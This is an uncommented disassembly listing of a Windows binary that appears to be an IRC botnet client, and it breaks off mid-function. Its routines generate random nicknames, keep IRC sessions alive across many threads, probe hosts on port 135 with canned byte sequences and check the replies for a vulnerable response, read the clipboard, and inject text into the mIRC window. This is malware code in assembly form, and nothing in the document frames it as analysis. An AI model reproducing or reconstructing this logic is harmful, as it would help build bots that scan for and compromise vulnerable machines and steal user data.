		push	edi		; Str
		call	_strchr
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41A41A
		movsx	eax, [ebp+Source]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41A41A
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		dec	esi
		mov	[ebp+var_14], esi
		fild	[ebp+var_14]
		fmulp	st(1), st
		fmul	ds:dbl_437AF0
		call	__ftol2
		cmp	eax, 1
		jnz	short loc_41A41A
		push	edi		; Str
		call	_strlen
		test	eax, eax
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		pop	ecx
		jge	short loc_41A3F3
		fadd	ds:dbl_433200


loc_41A3F3:				; CODE XREF: sub_41A293+158j
		fstp	qword ptr [ebp-8]
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_437AF0
		call	__ftol2
		mov	al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
		mov	ecx, [ebp+var_C]
		mov	[ecx], al


loc_41A41A:				; CODE XREF: sub_41A293+112j
					; sub_41A293+123j ...
		push	ebx		; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strncat
		add	esp, 0Ch


loc_41A42B:				; CODE XREF: sub_41A293+CFj
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		mov	esi, eax
		lea	ebx, [ebp+esi+Dst]
		movsx	eax, byte ptr [ebx-1]
		push	eax		; C
		mov	[ebp+var_4], esi
		call	_isdigit
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_41A695
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_41A595
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		lea	eax, [esi+3]
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmulp	st(1), st
		fmul	ds:dbl_437AF0
		call	__ftol2
		cmp	esi, 3
		jz	short loc_41A498
		cmp	eax, 1
		jnz	loc_41A595


loc_41A498:				; CODE XREF: sub_41A293+1FAj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_41A4E0
		push	edi		; Str
		call	_strlen
		test	eax, eax
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		pop	ecx
		jge	short loc_41A4BA
		fadd	ds:dbl_433200


loc_41A4BA:				; CODE XREF: sub_41A293+21Fj
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_437AF0
		call	__ftol2
		mov	al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_41A4FC
; ---------------------------------------------------------------------------


loc_41A4E0:				; CODE XREF: sub_41A293+20Ej
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AD0
		call	__ftol2
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_41A4FC:				; CODE XREF: sub_41A293+24Bj
		xor	ebx, ebx
		inc	esi
		inc	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AC8
		call	__ftol2
		cmp	esi, 3
		jz	short loc_41A525
		cmp	eax, ebx
		jnz	short loc_41A595


loc_41A525:				; CODE XREF: sub_41A293+28Cj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41A570
		push	edi		; Str
		call	_strlen
		test	eax, eax
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		pop	ecx
		jge	short loc_41A548
		fadd	ds:dbl_433200


loc_41A548:				; CODE XREF: sub_41A293+2ADj
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_437AF0
		call	__ftol2
		mov	al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+Dst], al
		jmp	short loc_41A58E
; ---------------------------------------------------------------------------


loc_41A570:				; CODE XREF: sub_41A293+29Cj
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AD0
		call	__ftol2
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+Dst], cl


loc_41A58E:				; CODE XREF: sub_41A293+2DBj
		inc	esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx


loc_41A595:				; CODE XREF: sub_41A293+1D0j
					; sub_41A293+1FFj ...
		cmp	esi, 6
		jge	short loc_41A615
		call	_rand
		cmp	esi, 5
		jge	short loc_41A5B2
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AF8
		jmp	short loc_41A5CB
; ---------------------------------------------------------------------------


loc_41A5B2:				; CODE XREF: sub_41A293+30Fj
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		push	8
		pop	eax
		sub	eax, esi
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmulp	st(1), st
		fmul	ds:dbl_437AF0


loc_41A5CB:				; CODE XREF: sub_41A293+31Dj
		call	__ftol2
		test	eax, eax
		jnz	short loc_41A5EE
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AC0
		call	__ftol2
		mov	cl, 30h
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------


loc_41A5EE:				; CODE XREF: sub_41A293+33Fj
		cmp	eax, 1
		jnz	short loc_41A615
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AD0
		call	__ftol2
		mov	cl, 41h


loc_41A60B:				; CODE XREF: sub_41A293+359j
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_41A615:				; CODE XREF: sub_41A293+305j
					; sub_41A293+35Ej
		cmp	[ebp+var_C], 2
		jge	short loc_41A695
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fimul	[ebp+var_4]
		fmul	ds:dbl_437AF0
		call	__ftol2
		cmp	eax, 1
		jnz	short loc_41A695
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AC0
		call	__ftol2
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AB8
		call	__ftol2
		cmp	eax, 1
		jnz	short loc_41A695
		cmp	[ebp+var_C], eax
		jge	short loc_41A695
		call	_rand
		mov	[ebp+var_14], eax
		fild	[ebp+var_14]
		fmul	ds:dbl_437AB0
		call	__ftol2
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_27], cl


loc_41A695:				; CODE XREF: sub_41A293+1B8j
					; sub_41A293+386j ...
		push	14h		; Count
		lea	eax, [ebp+Dst]
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		mov	eax, [ebp+Dest]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A293	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A6AE(char *Str,int)

sub_41A6AE	proc near		; CODE XREF: sub_41A7A3+135p

Dst		= byte ptr -420h
Dest		= byte ptr -220h
Str2		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset asc_42FE58 ; " "
		push	esi		; Delim
		push	[ebp+Str]	; Str
		call	_strtok
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+Str2], eax
		xor	ebx, ebx


loc_41A6D2:				; CODE XREF: sub_41A6AE+35j
		push	esi		; Delim
		push	ebx		; Str
		call	_strtok
		mov	[ebp+edi*4+Str2], eax
		inc	edi
		cmp	edi, 8
		pop	ecx
		pop	ecx
		jl	short loc_41A6D2
		cmp	[ebp+Str2], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_41A6F9
		cmp	esi, ebx
		jnz	short loc_41A6F9
		xor	eax, eax
		inc	eax
		jmp	loc_41A79E
; ---------------------------------------------------------------------------


loc_41A6F9:				; CODE XREF: sub_41A6AE+3Dj
					; sub_41A6AE+41j
		push	[ebp+Str2]	; Str2
		push	offset Str1	; "PING"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		push	esi
		jnz	short loc_41A723
		lea	eax, [ebp+Dest]
		push	offset aPongS_0	; "PONG	%s\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_41A77D
; ---------------------------------------------------------------------------


loc_41A723:				; CODE XREF: sub_41A6AE+5Dj
		push	offset a433	; "433"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A744
		push	esi		; Str2
		push	offset a432	; "432"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41A79C


loc_41A744:				; CODE XREF: sub_41A6AE+83j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aNickS_1	; "NICK	%s\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch


loc_41A77D:				; CODE XREF: sub_41A6AE+73j
		lea	eax, [ebp+Dest]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_4]
		call	dword_4441A0	; send


loc_41A79C:				; CODE XREF: sub_41A6AE+94j
		xor	eax, eax


loc_41A79E:				; CODE XREF: sub_41A6AE+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7A3	proc near		; DATA XREF: sub_41A954+57o

Dest		= byte ptr -4008h
var_3008	= byte ptr -3008h
Dst		= byte ptr -2008h
Str		= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, 210h
		push	edi
		push	dword_4DB794[esi]
		xor	edi, edi
		lea	eax, dword_4DB594[esi]
		inc	edi
		push	eax
		mov	dword_4DB588[esi], edi
		call	sub_41A1C6
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB58C[esi], eax
		jb	loc_41A934
		mov	edi, 1000h
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+var_3008]
		push	eax		; Dest
		call	sub_41A293
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax		; Dest
		call	_sprintf
		add	esp, 2Ch
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	dword_4DB58C[esi]
		call	dword_4441A0	; send
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		jmp	loc_41A914
; ---------------------------------------------------------------------------


loc_41A88F:				; CODE XREF: sub_41A7A3+18Bj
		xor	eax, eax
		cmp	[ebp+var_4], ebx
		jmp	short loc_41A8FE
; ---------------------------------------------------------------------------


loc_41A896:				; CODE XREF: sub_41A7A3+15Ej
		mov	al, [ebp+eax+Str]
		cmp	al, 0Dh
		jz	short loc_41A8BD
		cmp	al, 0Ah
		jz	short loc_41A8BD
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_41A8BD
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+Dst], al
		jmp	short loc_41A8F7
; ---------------------------------------------------------------------------


loc_41A8BD:				; CODE XREF: sub_41A7A3+FCj
					; sub_41A7A3+100j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41A8F7
		push	dword_4DB58C[esi] ; int
		mov	[ebp+eax+Dst], bl
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_41A6AE
		test	eax, eax
		pop	ecx
		pop	ecx
		ja	short loc_41A934
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_41A8F7:				; CODE XREF: sub_41A7A3+118j
					; sub_41A7A3+11Fj
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_4]


loc_41A8FE:				; CODE XREF: sub_41A7A3+F1j
		mov	[ebp+var_8], eax
		jnz	short loc_41A896
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_41A914:				; CODE XREF: sub_41A7A3+E7j
		push	ebx
		push	edi
		lea	eax, [ebp+Str]
		push	eax
		push	dword_4DB58C[esi]
		call	dword_444064	; recv
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jg	loc_41A88F


loc_41A934:				; CODE XREF: sub_41A7A3+40j
					; sub_41A7A3+13Ej
		mov	dword_4DB588[esi], ebx
		mov	esi, dword_4DB58C[esi]
		cmp	esi, ebx
		jbe	short loc_41A94B
		push	esi
		call	dword_444218	; closesocket


loc_41A94B:				; CODE XREF: sub_41A7A3+19Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_41A7A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A954(char *Source,int,int)

sub_41A954	proc near		; CODE XREF: sub_40274D+2FC0p

var_8		= byte ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		mov	[ebp+var_4], ebx
		jle	short loc_41A9CF
		push	esi
		push	edi


loc_41A966:				; CODE XREF: sub_41A954+77j
		xor	edi, edi
		mov	eax, offset dword_4DB588


loc_41A96D:				; CODE XREF: sub_41A954+28j
		cmp	[eax], ebx
		jz	short loc_41A97E
		add	eax, 210h
		inc	edi
		cmp	eax, offset byte_4E1CA8
		jl	short loc_41A96D


loc_41A97E:				; CODE XREF: sub_41A954+1Bj
		cmp	edi, 31h
		jz	short loc_41A9CD
		push	[ebp+Source]	; Source
		mov	esi, edi
		imul	esi, 210h
		lea	eax, dword_4DB594[esi]
		push	eax		; Dest
		call	_strcpy
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	dword_4DB794[esi], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	edi
		push	offset sub_41A7A3
		push	ebx
		push	ebx
		mov	dword_4DB588[esi], 1
		call	ds:dword_42B03C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_41A966


loc_41A9CD:				; CODE XREF: sub_41A954+2Dj
		pop	edi
		pop	esi


loc_41A9CF:				; CODE XREF: sub_41A954+Ej
		pop	ebx
		leave
		retn
sub_41A954	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41A9D2(int,int,void *Buf2,size_t Size)

sub_41A9D2	proc near		; CODE XREF: sub_41AA0A+127p
					; sub_41AA0A+14Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Buf2		= dword	ptr  10h
Size		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, [ebp+Size]
		xor	esi, esi
		test	edi, edi
		jle	short loc_41AA00


loc_41A9E3:				; CODE XREF: sub_41A9D2+2Cj
		push	[ebp+Size]	; Size
		mov	eax, [ebp+arg_0]
		push	[ebp+Buf2]	; Buf2
		add	eax, esi
		push	eax		; Buf1
		call	_memcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41AA06
		inc	esi
		cmp	esi, edi
		jl	short loc_41A9E3


loc_41AA00:				; CODE XREF: sub_41A9D2+Fj
		xor	al, al


loc_41AA02:				; CODE XREF: sub_41A9D2+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AA06:				; CODE XREF: sub_41A9D2+27j
		mov	al, 1
		jmp	short loc_41AA02
sub_41A9D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA0A	proc near		; CODE XREF: .text:0040CCCFp
					; .text:0040CDBBp ...

var_2010	= dword	ptr -2010h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	__alloca_probe
		mov	eax, [ebp+arg_4]
		dec	eax
		jz	short loc_41AA47
		dec	eax
		jz	short loc_41AA25
		dec	eax
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AA25:				; CODE XREF: sub_41AA0A+14j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_44417C	; inet_addr
		push	eax
		call	sub_40BC56
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		leave
		retn
; ---------------------------------------------------------------------------


loc_41AA47:				; CODE XREF: sub_41AA0A+11j
		push	esi
		push	edi
		push	6
		push	1
		push	2
		call	dword_444100	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	loc_41AB77
		push	ebx
		push	10h		; Size
		xor	ebx, ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	87h
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_4022BD
		pop	ecx
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		cmp	eax, edi
		jz	loc_41AB69
		push	ebx
		push	48h
		push	offset dword_443368
		push	esi
		call	dword_4441A0	; send
		cmp	eax, edi
		jz	loc_41AB69
		push	ebx
		mov	esi, 2000h
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_444064	; recv
		cmp	eax, edi
		jz	loc_41AB69
		cmp	byte ptr [ebp+var_2010+2], 0Ch
		jnz	short loc_41AB69
		push	ebx
		push	18h
		push	offset dword_4433B4
		push	[ebp+arg_4]
		call	dword_4441A0	; send
		cmp	eax, edi
		jz	short loc_41AB69
		push	ebx
		push	esi
		lea	eax, [ebp+var_2010]
		push	eax
		push	[ebp+arg_4]
		call	dword_444064	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41AB69
		cmp	byte ptr [ebp+var_2010+2], 2
		jnz	short loc_41AB69
		push	10h		; Size
		push	offset dword_4433D0 ; Buf2
		lea	eax, [ebp+var_2010]
		push	esi		; int
		push	eax		; int
		call	sub_41A9D2
		add	esp, 10h
		test	al, al
		jz	short loc_41AB49
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41AB69
; ---------------------------------------------------------------------------


loc_41AB49:				; CODE XREF: sub_41AA0A+131j
		push	10h		; Size
		push	offset dword_4433E4 ; Buf2
		lea	eax, [ebp+var_2010]
		push	esi		; int
		push	eax		; int
		call	sub_41A9D2
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41AB69:				; CODE XREF: sub_41AA0A+9Dj
					; sub_41AA0A+B4j ...
		push	[ebp+arg_4]
		call	dword_444218	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	short loc_41AB79
; ---------------------------------------------------------------------------


loc_41AB77:				; CODE XREF: sub_41AA0A+55j
		xor	eax, eax


loc_41AB79:				; CODE XREF: sub_41AA0A+16Bj
		pop	edi
		pop	esi
		leave
		retn
sub_41AA0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41AB7D(char *Dest,char *SubStr,char *Source)

sub_41AB7D	proc near		; CODE XREF: sub_40274D+AEEp
					; sub_40274D+B19p ...

Dest		= dword	ptr  8
SubStr		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Dest]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_41AC08
		mov	eax, [ebp+SubStr]
		cmp	eax, esi
		jz	short loc_41AC08
		cmp	[ebp+Source], esi
		jz	short loc_41AC08
		cmp	byte ptr [eax],	0
		jz	short loc_41AC08
		push	ebx
		push	edi		; char *
		call	__strdup
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	short loc_41AC03
		push	[ebp+SubStr]	; SubStr
		push	edi		; Str
		call	_strstr
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_41ABFC
		sub	eax, edi
		push	eax		; Count
		push	edi		; Source
		push	ebx		; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		mov	eax, ebx
		sub	eax, edi
		mov	byte ptr [eax+esi], 0
		call	_strlen
		push	eax		; Count
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	_strncat
		push	[ebp+SubStr]	; Str
		call	_strlen
		add	eax, esi
		push	eax		; Source
		push	ebx		; Dest
		call	_strcat
		push	ebx		; Source
		push	edi		; Dest
		call	_strcpy
		add	esp, 30h
		mov	esi, edi


loc_41ABFC:				; CODE XREF: sub_41AB7D+3Cj
		push	ebx		; Memory
		call	_free
		pop	ecx


loc_41AC03:				; CODE XREF: sub_41AB7D+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_41AC0A
; ---------------------------------------------------------------------------


loc_41AC08:				; CODE XREF: sub_41AB7D+Cj
					; sub_41AB7D+13j ...
		xor	eax, eax


loc_41AC0A:				; CODE XREF: sub_41AB7D+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41AB7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41AC0E(char *Str,int)

sub_41AC0E	proc near		; CODE XREF: sub_402472+C2p
					; sub_41321D+F4p

Dst		= dword	ptr -7D0h
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		push	7D0h		; Size
		xor	ebx, ebx
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+Str]
		push	esi		; Str
		call	_strlen
		xor	edi, edi
		inc	edi
		add	esp, 10h
		cmp	eax, edi
		jge	short loc_41AC46
		or	eax, 0FFFFFFFFh
		jmp	short loc_41ACAD
; ---------------------------------------------------------------------------


loc_41AC46:				; CODE XREF: sub_41AC0E+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+Dst], esi
		jle	short loc_41AC67


loc_41AC52:				; CODE XREF: sub_41AC0E+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41AC5F
		cmp	dl, 0Dh
		jnz	short loc_41AC62


loc_41AC5F:				; CODE XREF: sub_41AC0E+4Aj
		mov	[ecx+esi], bl


loc_41AC62:				; CODE XREF: sub_41AC0E+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41AC52


loc_41AC67:				; CODE XREF: sub_41AC0E+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_41AC8F


loc_41AC6D:				; CODE XREF: sub_41AC0E+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_41AC8A
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_41AC8A
		cmp	edi, 1F4h
		jge	short loc_41AC8F
		mov	[ebp+edi*4+Dst], ecx
		inc	edi


loc_41AC8A:				; CODE XREF: sub_41AC0E+62j
					; sub_41AC0E+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_41AC6D


loc_41AC8F:				; CODE XREF: sub_41AC0E+5Dj
					; sub_41AC0E+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_41ACAB
		push	7D0h		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	esp, 0Ch


loc_41ACAB:				; CODE XREF: sub_41AC0E+84j
		mov	eax, edi


loc_41ACAD:				; CODE XREF: sub_41AC0E+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AC0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ACB2	proc near		; CODE XREF: sub_41B362+26p
					; sub_41B39F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	al, 61h
		pop	ecx
		jl	short loc_41ACCD
		cmp	al, 7Ah
		jg	short loc_41ACCD
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_41ACCD:				; CODE XREF: sub_41ACB2+Ej
					; sub_41ACB2+12j
		xor	eax, eax
		retn
sub_41ACB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACD0	proc near		; CODE XREF: sub_40274D+64B5p
					; sub_40274D+74ACp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	0
		push	100h
		mov	esi, eax
		lea	eax, [ebp+var_100]
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_42B100	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_41AD09:				; CODE XREF: sub_41ACD0+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41AD15
		cmp	cl, 9
		jnz	short loc_41AD18


loc_41AD15:				; CODE XREF: sub_41ACD0+3Ej
		inc	eax
		jmp	short loc_41AD09
; ---------------------------------------------------------------------------


loc_41AD18:				; CODE XREF: sub_41ACD0+43j
					; sub_41ACD0+5Bj ...
		mov	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_41AD32
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_41AD18
		cmp	cl, 21h
		jl	short loc_41AD18


loc_41AD32:				; CODE XREF: sub_41ACD0+54j
		push	esi
		lea	eax, [ebp+var_100]
		push	eax
		push	[ebp+arg_0]
		mov	esi, offset byte_4E1CA8
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41ACD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD5A	proc near		; CODE XREF: sub_40274D+22AFp
		push	esi
		push	0
		call	dword_44409C	; OpenClipboard
		test	eax, eax
		jz	short loc_41AD91
		push	1
		call	dword_44423C	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_41AD91
		push	edi
		push	esi
		call	ds:dword_42B108	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_42B104	; GlobalUnlock
		call	dword_444080	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AD91:				; CODE XREF: sub_41AD5A+Bj
					; sub_41AD5A+19j
		xor	eax, eax
		pop	esi
		retn
sub_41AD5A	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41AD95(char *Format)

sub_41AD95	proc near		; CODE XREF: sub_40274D+725Fp

Format		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		push	esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	edi
		call	dword_444160	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41AE11
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_42B114	; CreateFileMappingA
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		push	0F001Fh
		push	edi
		call	ds:dword_42B110	; MapViewOfFile
		push	[esp+10h+Format] ; Format
		mov	ebx, eax
		push	ebx		; Dest
		call	_sprintf
		pop	ecx
